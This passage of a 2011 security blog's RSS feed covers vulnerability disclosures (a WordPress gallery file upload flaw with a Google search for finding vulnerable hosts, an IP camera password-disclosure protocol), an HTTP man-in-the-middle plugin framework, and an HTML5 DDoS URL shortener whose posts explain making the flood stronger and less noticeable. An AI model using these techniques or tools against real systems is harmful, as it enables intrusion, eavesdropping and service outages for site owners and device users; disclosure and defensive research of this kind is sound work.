<p>This works because the upload.php script a.) performs no authentication checks, b.) trusts a user-supplied request variable to provide allowed filetypes, and c.) does not actually validate that the file is a well-formed image file. I have only tested the vulnerability on an installation that does not perform watermarking, the default setting; it may or may not work on installations that do otherwise.</p>
<p>I have created a proof-of-concept Metasploit module demonstrating the vulnerability, which interested persons can download here: <a href="http://spareclockcycles.org/downloads/code/fgallery_file_upload.rb">http://spareclockcycles.org/downloads/code/fgallery_file_upload.rb</a></p>
<p>Hosts can be found with the following Google search: inurl:"wp-content/plugins/1-flash-gallery"</p>
<h3>Disclosure</h3>
<p>I reported the vulnerability to both WordPress and the plugin developers yesterday, Sep 5 2011. Both responded quickly to the issue, and took appropriate measures. WordPress temporarily took down the plugin until the patch was released, which the developers did later in the day. I 'd like to thank WordPress for their fast and professional response.</p>
<p>I am now releasing details of the vulnerability publicly to ensure that users are aware of the issue, and encourage them to update their plugins accordingly. The 1 Flash Gallery developers did not stress the severe implications of this vulnerability in <a href="http://wordpress.org/extend/plugins/1-flash-gallery/changelog/" target="_blank">their changelog</a> (or mention that it was a security issue at all), so this post is partly to ensure that the implications are made clear. Personally, I would uninstall the plugin, given its <a href="http://secunia.com/advisories/43640">history of serious security issues</a> and the developers' lack of candor about those reported to them.</p>
<p>As always, any comments are welcome.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=TuiVErxyVpg:RkxCZqRgf_Q:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=TuiVErxyVpg:RkxCZqRgf_Q:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=TuiVErxyVpg:RkxCZqRgf_Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=TuiVErxyVpg:RkxCZqRgf_Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/TuiVErxyVpg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=flash-gallery-arbitrary-file-upload</feedburner:origLink></item>
		<item>
		<title>Sergio Proxy v0.2 Released</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/UjHolKSunUM/</link>
		<comments>http://spareclockcycles.org/2011/07/10/sergio-proxy-v0-2-released/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 23:06:38 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[sergio proxy]]></category>
		<category><![CDATA[twisted]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=674</guid>
		<description><![CDATA[Updates in this Release So after a ridiculously long period of procrastination, I finally got around to updating Sergio Proxy to make it remotely usable. I was never very happy with how the initial code turned out, but given that it was hacked out in a couple days just to test some ideas, I suppose [...]]]></description>
			<content:encoded><![CDATA[<h3>Updates in this Release</h3>
<p>So after a ridiculously long period of procrastination, I finally got around to updating Sergio Proxy to make it remotely usable. I was never very happy with how the initial code turned out, but given that it was hacked out in a couple days just to test some ideas, I suppose that shouldn't be surprising. My original hope for it was to provide a very easy to extend plugin interface that allowed Python programmers to easily modify requests and responses during a MITM attack on HTTP.  While you could extend it without too much trouble, it was far from perfect, and passing options to the thing was an atrocious mess. Worse, my hooks into Twisted weren't the most stable or fast, rendering it not very useful.</p>
<p>I believe I've solved some of these issues in this release, although you can certainly judge for yourself. I've made three major changes: first, rather than using my own transparent proxy classes for interacting with Twisted, I've instead started using <a title="sslstrip" href="http://www.thoughtcrime.org/software/sslstrip/" target="_blank">Moxie Marlinspike's sslstrip</a> to provide the proxy functionality. Although I didn't know it when I first started Sergio Proxy, sslstrip uses almost exactly the same method for creating the transparent proxy: extending the Twisted framework's HTTP proxy classes. Rather than duplicate effort to create something that would still be miles behind, I instead decided to focus on providing a convenient plugin interface that could hook sslstrip at various points during operation. This brings me to the second change: a new plugin interface that should make it ridiculously simple to extend Sergio Proxy. I've currently implemented three modules (SMBAuth, ArpSpoof, and Upsidedownternet), but really there are tons of other things that could be done. Finally, I completely revamped the logging and options code, which were virtually non-existent in my first release. Combined, these should make Sergio Proxy a nice framework for making use of HTTP MITM attacks. You can grab the new code here: <a title="sergio-proxy" href="https://code.google.com/p/sergio-proxy/downloads/list" target="_blank">https://code.google.com/p/sergio-proxy/downloads/list</a></p>
<p><strong> Edit:</strong> I've also added a simple BrowserPwn plugin now, grab the current trunk to get it: <a href="https://code.google.com/p/sergio-proxy/source/checkout">https://code.google.com/p/sergio-proxy/source/checkout</a></p>
<h3>Using and Abusing Sergio Proxy</h3>
<p>So enough about the changes: how would one go about using it? Well, if all you want to do is evoke an SMB authentication attempt or launch the Upsidedownternet, just run sergio-proxy.py -h and choose your desired options. ArpSpoof will set up the MITM if you so desire (requires ettercap or arpspoof), and sslstrip will record what it normally does. If you want to do something else, though, you'll need to create a new plugin. Don't worry, it's quite simple!</p>
<p>First, you need to do a few simple things. The provided plugins provide good examples, but I will step through the required steps just in case. All plugins inherit from the Plugin class in plugins/plugin.py, and Sergio Proxy needs to know the subclass relationship, so you must do a "from plugins.plugin import Plugin" in every plugin file. No exceptions. Then, you need to define some class attributes to tell Sergio Proxy about your plugin. These are as follows: name (human friendly name), optname (option name to enable plugin), has_opts (needs to add opts to argparse object), and implements (a list of hooks it implements). If you require arguments, you need to implement the add_options function. It takes an <a title="argparse" href="http://docs.python.org/dev/library/argparse.html#argparse.ArgumentParser" target="_blank">argparse Parser object</a> as its only argument, where you can then do with it as you please. Be warned, though: if your arguments conflict with others, you may have issues.</p>
<p>Now, you are ready to implement the actual functionality of your plugin. There are 5 functions that really matter, and you can see them in the base Plugin class: initialize, handleHeader, connectionMade, handleResponse, and finish. initialize is passed the namespace that argparse parsed, and is called whenever your plugin has been enabled by a command line switch and is going to be run. You should do any setup you require here rather than __init__, as you won't have options in __init__ and it entirely possible your module won't be run after that point. finish, likewise, is called on shutdown.</p>
<p>There are three points where Sergio Proxy hooks sslstrip by default right now: on connecting to the server prior to sending the victim's request, on receiving any header from the server, and prior to sending a response to the client. These functions are the other three functions I mentioned. It is quite simple to add more if necessary, but that's outside the scope of this post. Whenever sslstrip hits any of these three points during execution, Sergio Proxy checks to see if any plugin wants to hook that function and, if so, calls the function with arguments that were provided to the function call in sslstrip. Generally,  if you have changes you want to send back to sslstrip, you should modify the request object, and not return anything. However, in the handleResponse hook this is not possible (as the local var data is used rather than an object attribute), and you must return a dictionary containing the modified arguments. This is currently the only case where this is necessary, but it's important to note.</p>
<p>Now, all you need to do is override these functions to do what you want. If you're wondering what information you have access to through the request object, it may be useful to either a.) hook the function you want and print out information about it at that time or b.) look through sslstrip and the Twisted proxy documentation. Also, the plugins I provided show some of the basic things you might want to do.</p>
<p>Hopefully you all find the new changes useful. If you end up writing a plugin, please feel free to submit it! If it was useful to you, it is likely it will be useful to others as well. Happy hacking</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=UjHolKSunUM:PK2M_vWW1vg:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=UjHolKSunUM:PK2M_vWW1vg:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=UjHolKSunUM:PK2M_vWW1vg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=UjHolKSunUM:PK2M_vWW1vg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/UjHolKSunUM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/07/10/sergio-proxy-v0-2-released/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/07/10/sergio-proxy-v0-2-released/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=sergio-proxy-v0-2-released</feedburner:origLink></item>
		<item>
		<title>Exploiting an IP Camera Control Protocol</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/zIpAiRhooL4/</link>
		<comments>http://spareclockcycles.org/2011/05/23/exploiting-an-ip-camera-control-protocol/#comments</comments>
		<pubDate>Mon, 23 May 2011 21:43:49 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[ip camera]]></category>
		<category><![CDATA[password disclosure]]></category>
		<category><![CDATA[protocol analysis]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=655</guid>
		<description><![CDATA[When I first started on this post, I intended to write about some fun things one can do with a $30 Rosewill IP camera (RXS-3211). While I still intend to do this in the near future, I decided instead to document an interesting password disclosure vulnerability I found that appears to affect at least 150 [...]]]></description>
			<content:encoded><![CDATA[<p>When I first started on this post, I intended to write about some fun things one can do with a $30 Rosewill IP camera (<a href="http://www.rosewill.com/products/1728/productDetail.htm" target="_blank">RXS-3211</a>). While I still intend to do this in the near future, I decided instead to document an interesting password disclosure vulnerability I found that appears to affect at least 150 different IP-based surveillance cameras. This vulnerability allows a remote, unauthenticated attacker to read and/or change the administrator password on affected devices by sending a single UDP packet. This gives an attacker full control over the device, including access to the video streams. Relatedly, a passive attacker on the local network can retrieve the current password without a MITM attack if the device is currently being administrated.</p>
<p>Before I start, though, I would like to clarify: I have only tested this attack against the RXS-3211, as it is the only one I own / can afford. That said, I believe that it is a problem with the management protocol rather than just the device itself. It is possible that the problem is limited just to the RXS, but I have tested the Windows admin interfaces of other cameras with similar results. Doing this actually helped me improve the attack, so it seems likely that it will work elsewhere. Regardless, I would definitely love to hear from anyone who has a possibly affected device and get feedback / pcap dumps.</p>
<p>The list of affected devices, pulled using strings from the Rosewill admin executable, can be <a href="http://spareclockcycles.org/downloads/ipcam_pass_disclosure_devices.txt" target="_blank">grabbed here</a>. It includes devices from Edimax, Hawking, Rosewill, Intellinet, Nilox, Zonet, 2Direct, among others. Many of these appear to be rebrands, but I can't really know without devices to look at. This list does not include the large number of "UnKnown" entries that could also be affected.</p>
<h3>Why I Can't Have Nice Things (I Break Them)</h3>
<p>I bought the previously mentioned camera this week as a cheap way to monitor my apartment. Not content simply to set the thing up and leave it be, I first wanted to kick the metaphorical tires a bit. It turned out to be running an embedded version of Linux, and had TCP ports 80 (HTTP), 554 (RTSP), and 4321-2 (proprietary viewing protocol) open. At this point, I became curious to see if I could run my own code on the thing (which could make it quite useful), so I started poking around for vulnerabilities that might allow for that.</p>
<p>The web interface quite probably provides a number of ways to get a shell, but I decided first to look at how the administrative control application that was provided with it worked. Interestingly, as soon as I opened the application, it had detected my camera. I fired up Wireshark, and it turned out that it was communicating to the device via UDP broadcast messages to port 13364.</p>
<h3>How Not To Design a Protocol</h3>
<p>After some glancing over the traffic logs, it was pretty clear that this control protocol was terrible. I could go on for awhile about the design problems with it, but it would be rather off topic.</p>
<p>The real problem I uncovered was how the protocol handles authentication. It's a simple protocol, and consists of request packets (sent by the admin software) and reply packets (sent by the device). Depending on the request, the response is either sent broadcast or unicast. The packets all follow the same format before diverging:<br />
6 bytes -&gt; Concerned device (FF:FF:FF:FF:FF for all, device MAC for specific)<br />
1 byte -&gt; Request or response (0 or 1 respectively)<br />
3 bytes -&gt; Req/resp type (some unique ID that the software understands)<br />
Rest -&gt; Req/resp specific payload (optional)</p>
<p>Each type of request/response seems to have a set size, and if you send one of an unexpected size, the packet is ignored. From the large number of null bytes in the packets, it seems that there are extra fields that can be provided that I haven't explored yet. The one we care about, however, is obvious: the password field. Yes, the password is sent, (and in some cases, broadcast) <strong>in clear text</strong> following an unauthenticated request from anywhere. The admin interface reads this password, authenticates users <strong>client side</strong>, and, if it passes, will allow the user to send configuration requests. In addition to just being able to steal the device password remotely, we can also change the password <strong>and</strong> do it with a spoofed UDP packet, hiding the source of the attack.</p>
<p>I ran into a bit of a problem with the Rosewill-provided management interface, but it wasn't too difficult to overcome. It only supported broadcast queries and settings, which made it impossible to read the password remotely (i.e, outside the local network), and no response would be given if one set the password, making scanning much more difficult. However, I assumed they must have a way to get a unicast response instead, as some other camera manuals advise users to forward UDP port 13364 on their routers. Rather than trying the codes manually, I downloaded a few different management interfaces until I found one that supported remote cameras. I set it up to talk to mine, and voila, unicast commands were mine.</p>
<p>With these, it's trivial to read or change the password of the device. This can be exploited remotely and, as mentioned, with a spoofed source address for the set command (yay connectionless protocols). Having the password then gives full administrative control over the device, allowing an attacker to basically do anything, from simply watching the camera feeds to exploiting the device further. If you have one of these devices yourself, you can test with my proof-of-concept code: <a href="http://spareclockcycles.org/downloads/code/rxs-3211-changepw.py" target="_blank">rxs-3211-changepw.py</a> and <a href="http://spareclockcycles.org/downloads/code/rxs-3211-retrievepw.py" target="_blank">rxs-3211-retrievepw.py</a> (both require <a href="http://www.secdev.org/projects/scapy/" target="_blank">Scapy</a>) . I also went ahead and made a Metasploit module that will scan a network for vulnerable hosts: <a href="http://spareclockcycles.org/downloads/code/rxs_3211_retrievepw.rb" target="_blank">rxs-32111-retrievepw.rb</a> . If it's in the list but is not the RXS-3211, then the packets that need to be sent may be significantly different (probably  just the changepw packets), but the underlying protocol problem should still be present. Wireshark/tcpdump are your friends; use them, and you should be able to figure it out.</p>
<p>EDIT: The Metasploit people were kind enough to improve my module and throw it into their SVN, so you can grab it there. Thanks, guys!</p>
<h3>Disclosure</h3>
<p>The fact that this vulnerability appears to be a design issue that requires both firmware and client software patches, combined with the large number of affected devices, makes it very difficult (if not impossible) to patch in any reasonable timeframe. This, together with the confusion over who actually maintains this software, led me to decide to release this before patching so users could protect themselves by blocking access to port 13364. I did contact Rosewill prior to this post, but have not yet received a reply.</p>
<h3>The Rest</h3>
<p>If you have one of these devices, block all external access to UDP port 13364, regardless of what your user manual instructs you to do. If attackers might have local network access, there is not much you can do but cut it off from the rest of the network. Other cameras might be different, but mine did not have an option to disable UDP management.</p>
<p>I know cracking some of these embedded devices is a lot like beating a three year old at a foot race, but it was a good way to occupy a few hours. Hopefully I'll be back in a short while with more fun things to do with a cheap IP camera; until then, peace.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=zIpAiRhooL4:bUOGM6Xp-aI:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=zIpAiRhooL4:bUOGM6Xp-aI:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=zIpAiRhooL4:bUOGM6Xp-aI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=zIpAiRhooL4:bUOGM6Xp-aI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/zIpAiRhooL4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/05/23/exploiting-an-ip-camera-control-protocol/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/05/23/exploiting-an-ip-camera-control-protocol/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=exploiting-an-ip-camera-control-protocol</feedburner:origLink></item>
		<item>
		<title>Weaponizing d0z.me: Improved HTML5 DDoS</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/nA0e0JAqRA0/</link>
		<comments>http://spareclockcycles.org/2011/03/27/weaponizing-d0z-me/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 03:57:38 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[d0z.me]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=636</guid>
		<description><![CDATA[Well, here were are, about three months since I initially released d0z.me, and I've finally gotten away from school and life for a bit this week and updated it. However, I think it was definitely worth the wait. You can grab the code over at d0z.me's new Google Code repository, and see it in action [...]]]></description>
			<content:encoded><![CDATA[<p>Well, here were are, about three months since I <a href="http://spareclockcycles.org/2010/12/19/d0z-me-the-evil-url-shortener/" target="_blank">initially released d0z.me</a>, and I've finally gotten away from school and life for a bit this week and updated it. However, I think it was definitely worth the wait. You can grab the code over at <a href="http://code.google.com/p/d0z-me/" target="_blank">d0z.me's new Google Code repository</a>, and <a href="http://d0z.me" target="_blank">see it in action here</a>.</p>
<p>Beyond making the backend code a little bit less of a disaster than it was originally, I have also made the attack itself significantly more effective. For the impatient among you, I will summarize the changes here:</p>
<ul>
<li>More efficient web worker implementation for making the requests.</li>
<li>Some cosmetic changes that make it less obvious that an attack is occurring.</li>
<li>Switched to POST requests by default, which allow us to hold server threads longer and exhaust a target's bandwidth.</li>
<li>Lots of updates to the backend code.</li>
</ul>
<p>Before I go on though, I'd like to send another big THANK YOU to Lavakumar Kuppan over at <a href="http://andlabs.org" target="_blank">andlabs.org</a> for his research, feedback, and suggestions. His research was what originally inspired d0z.me, and he has helped give me a few very useful suggestions on how to improve it. Go follow <a href="http://blog.andlabs.org" target="_blank">the andlabs blog</a>. Also, thank you to everyone else who sent in bug reports, suggestions, etc since I released it. You rock.</p>
<h3>Web Worker Changes</h3>
<p>My original implementation of the HTML5 DDoS attack did its job well, but was not exactly polished.  I had some ideas for speed improvements even at the time, but hadn't spent much time optimizing. As it was, it opened four webworkers, and only made one request at a time. This produced good results, but was very processor intensive for Firefox users, and wasted valuable time waiting for a response from the server at times. I also was unable to recreate the results from Lava's original presentation (although this later turned out to be a flaw in my testing procedure).</p>
<p>After I released d0z.me, Lava contacted me and suggested instead that I run one web worker and launch many simultaneous requests. Obviously, running multiple requests at a time is much more efficient. With some slight modifications to the pseudocode he provided (to ensure a full request queue is maintained), I was able to achieve slightly better speeds, using only two web workers instead of four.</p>
<h3>Cosmetic Improvements</h3>
<p>Originally, d0z.me also implemented an attack almost identical to that of JSLOIC, meaning that an image constantly reloaded in the background. While it added a few extra requests per second, it was rather insignificant compared to its HTML5 counterpart, could only perform GET requests, and had the serious downside of displaying a progress bar in some browsers. Because of this, it has now been removed. In addition, d0z.me now attempts to pull the embedded site's favicon as it's own, so as to appear more legitimate. With these two changes, the URL becomes the only way to tell the embedded site and d0z.me apart in most browsers.</p>
<h3>Using POST Requests for Attack Amplification</h3>
<h4>Advantages to POST Attack</h4>
<p>One limitation of the original d0z.me implementation was that it could do little in regards to consuming bandwidth. In addition, while it was able to overwhelm servers with the sheer number of requests, server threads were not held for a very sizable amount of time. This meant that it required a decent number of users to significantly affect performance (either by consuming all available threads, crashing the database, etc). Bandwidth and thread exhaustion are both commonly used DDoS techniques, so why can't we do the same with HTML5 DDoS? Well, turns out, we can!</p>
<p>While the original version of d0z.me used GET requests, we can also make POST requests via CORS. Of course, we can simply issue the same number of requests/second as we can with GET, meaning that in most situations, even without a payload, the effect will be similar. However, there are a number of advantages that POST gives us that GET does not that should be obvious.</p>
<p>Unlike the previous version, however, attackers don't need to find large files on the host to overwhelm the hosts' bandwidth. Given that the default maximum request size is 2GB on Apache, we can send quite sizable requests safely. Most configurations do, in fact, override this default, but we can still send decently large requests regardless. To ensure that it works on most hosts, d0z.me's attack is set to use a 1MB request body. In practice, this is more than sufficient to generate excessive amounts of traffic.</p>
<p>Beyond the bandwidth advantages, we also tie up the server threads for a much longer amount of time, as the host must receive the request before responding. While this doesn't use a "slow POST" style attack like <a href="http://ha.ckers.org/slowloris/" target="_blank">Slowloris</a>, it has a similar effect: tying up processing threads that must receive the overly large requests, and thereby slowing down response times drastically.</p>
<h4>F*ckin' CORS, How Does It Work?</h4>
<p>So what hosts does this affect, you might ask? Just CORS enabled hosts, right? Wrong.</p>
<p>The <a href="http://www.w3.org/TR/cors/" target="_blank">CORS working draft</a> defines a series of steps that a browser should go through when attempting to make a cross origin request. First, it should check its cache to see if it has previously connected to this URL within the cache timeout period, and if it has, whether or not cross origin requests were allowed on that URL. If it was allowed, it can go ahead and make the request; if not, the request process should stop there. If, however, the URL is not in the cache, then the draft states that the browser should make a "pre-flight request", which is essentially an empty request that seeks to get the headers for that particular URL (see OPTIONS request). The exception to this rule, however, is if the request is a "simple request", i.e. a GET, HEAD, or POST request.</p>
<p>This means that rather than respecting all that silly "pre-flight request" nonsense when Javascript attempts to make a simple method cross-origin request, the browser can decide to simply forward the request along with whatever data was attached to it. That's right! We can send arbitrary POST data to arbitrary hosts as fast as the network allows. Clearly, this attack could pretty quickly inundate a host or cause its owner significant bandwidth charges. This is not at all out of reach of even small Twitter spam campaigns, and a hacked ad network could rival the power of the largest botnets. Judging from some of the traffic spikes I've seen in my few months with d0z.me (~300,000 hits one week), one could fairly easy gather the amount of traffic necessary to bring down sizable websites.</p>
<h3>Final Notes</h3>
<p>I considered adding HTTP referrer / origin obfuscation support, which I <a href="http://spareclockcycles.org/2010/12/22/follow-up-on-d0z-me-some-thoughts/" target="_blank">previously demonstrated was possible</a>. However, as my goal is not to make d0z.me impossible to detect and block, and I still wanted people to be able to find the site if abuse occurs, I decided against doing so. I think it is sufficient that I have warned multiple times against using that to block attacks. It's a band-aid, not a fix. I also considered adding IE support, but the attack is significantly slower without the benefit of web workers. When IE adds support for web workers, I will attempt to add support for it.</p>
<p>I have left GET requests in as an option, although I believe that it is usually a less effective one. However, it may be better to use such an attack if a host disallows all POST requests, or if a.) CORS is enabled on the URL and b.) responding to that request causes the host to do a significant amount of processing. The GET attack also uses significantly less memory on machines viewing the link, which might be a consideration in some instances.</p>
<p>As I said earlier, it's been three months since I released d0z.me. As far as I can tell, all it has achieved is <a href="http://spareclockcycles.org/2011/03/18/doz-me-taken-down/" target="_blank">a GTFO message from Dreamhost</a> and a decent number of complaint emails. I do like to think that it has raised awareness of some of the problems with URL shortnerers and HTML5, but no browsers have attempted to limit the number of XHRs that can be made in a given time period (except *maybe* Safari?), and no changes have been made to the CORS working draft. This needs to be fixed.</p>
<p>While I do find a lot of the issues involved here interesting, my main reason in making this new release is to again encourage browser developers and those working on the CORS draft to fix this problem, and do it quickly. I hope it will also be useful for administrators to gauge their systems' susceptibility to these attacks, as well as to come up with defenses against them.</p>
<p>As always, I certainly welcome any constructive criticisms or advice. PHP/Javascript is not my forte, as I'm positive is obvious in the code, so any tips from you gurus out there are much appreciated.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=nA0e0JAqRA0:OTBOKfyNKgQ:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=nA0e0JAqRA0:OTBOKfyNKgQ:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=nA0e0JAqRA0:OTBOKfyNKgQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=nA0e0JAqRA0:OTBOKfyNKgQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/nA0e0JAqRA0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/03/27/weaponizing-d0z-me/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/03/27/weaponizing-d0z-me/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=weaponizing-d0z-me</feedburner:origLink></item>
		<item>
		<title>d0z.me Taken Down</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/QoBE04HGVBk/</link>
		<comments>http://spareclockcycles.org/2011/03/18/doz-me-taken-down/#comments</comments>
		<pubDate>Fri, 18 Mar 2011 05:57:58 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Site News]]></category>
		<category><![CDATA[censorship]]></category>
		<category><![CDATA[d0z.me]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=629</guid>
		<description><![CDATA[This was not what was supposed to get posted this week, but sadly, this is what my time got spent on. From the d0z.me main page: Hey all, Dreamhost informed me today that they received complaints regarding d0z.me, which was not wholly unexpected. I would certainly have appreciated it if the complaints had been forwarded [...]]]></description>
			<content:encoded><![CDATA[<p>
This was not what was supposed to get posted this week, but sadly, this is what my time got spent on. From the <a href="http://d0z.me" target="_blank">d0z.me</a> main page:<br/>
</p>
<p>
Hey all,<br/><br />
Dreamhost informed me today that they received complaints regarding <a href="http://d0z.me" target="_blank">d0z.me</a>, which was not wholly unexpected. I would certainly have appreciated it if the complaints had been forwarded to me, so that I could take appropriate action; however, this did not occur. Dreamhost also proceeded to notify me that d0z.me, as-is, violates their terms of service. Unless I was willing to "ensure that (my) site can't be used to actually DoS anyone", I was told that I needed to remove the offending content altogether or risk having the account shut down permanently. While I do appreciate them contacting me before completely disabling my account, I still think that this stance is unwarranted.<br/></p>
<p>d0z.me was never intended to be used as an attack tool. Rather, it was meant as a proof-of-concept that served to both illustrate the dangers posed by URL shorteners and HTML5, as well as to give concerned parties an easy way to test detection/mitigation techniques for the attack. I have quickly and consistently responded to all abuse requests I received, and ensured that offending links were removed. Of course, this could not prevent all abuse, and some certainly occurred. However, I still believe that d0z.me was and is simply a tool, one that could be used for positive ends or malicious ones, and should not be banned simply because it can be misused.<br/> </p>
<p>Given the situation, I have decided to temporarily take down the site while I search for a host that is more willing to stand up for its customers. As such, don't expect it to reliably be up over the next few days. I don't believe that any kind of artificial limitation on d0z.me's abilities will help prevent these kinds of attacks; rather, they will encourage small, lesser known sites to join the fray, making for a nearly impossible game of whack-a-d0z.me that would put users at more risk. While of course this will most likely happen with the site down as well, I at least will not have to waste my time crippling my code just for that to occur.<br/> </p>
<p>If you or someone you know would be willing to host d0z.me permanently, please let me know at supernothing 4T spareclockcycles D0T org. Feel free to <a href="http://spareclockcycles.org/downloads/code/dosme.tar.gz" target="_blank">grab the code here</a> and start your own version of d0z.me as well, and help demonstrate the futility of censoring this site. Whether or not I find a new host, I will continue making updates to the d0z.me code, which will be posted on <a href="http://spareclockcycles.org" target="_blank">my blog</a>. I am currently sidetracked a bit by this issue, but I have been working on definite improvements that I will be releasing soon.<br/> </p>
<p>Until then, <a href="http://twitter.com/#!/_supernothing">follow me on Twitter for updates</a>.<br/> </p>
<p>Peace,<br />
Ben Schmidt (supernothing)<br />
<a href="http://spareclockcycles.org" target="_blank">http://spareclockcycles.org</a>
</p>
<p>EDIT: After looking through some hosting providers, I have temporarily moved d0z.me to <a href="https://nearlyfreespeech.net" target="_blank">nearlyfreespeech.net</a> (thanks to <a href="http://twitter.com/#!/piecritic" target="_blank">piecritic</a> for pointing it out). Hopefully they live up to their namesake and let it be. We'll see how things go there, and I will move again if necessary. If you can't get to it yet, it's because the DNS entries are still propagating.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=QoBE04HGVBk:tMf3qi2CRh0:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=QoBE04HGVBk:tMf3qi2CRh0:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=QoBE04HGVBk:tMf3qi2CRh0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=QoBE04HGVBk:tMf3qi2CRh0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/QoBE04HGVBk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/03/18/doz-me-taken-down/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/03/18/doz-me-taken-down/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=doz-me-taken-down</feedburner:origLink></item>
		<item>
		<title>Android Gmail App: Stealing Emails via XSS</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/YqxQBWbusis/</link>
		<comments>http://spareclockcycles.org/2011/02/11/android-gmail-app-stealing-emails-via-xss/#comments</comments>
		<pubDate>Fri, 11 Feb 2011 23:15:06 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=580</guid>
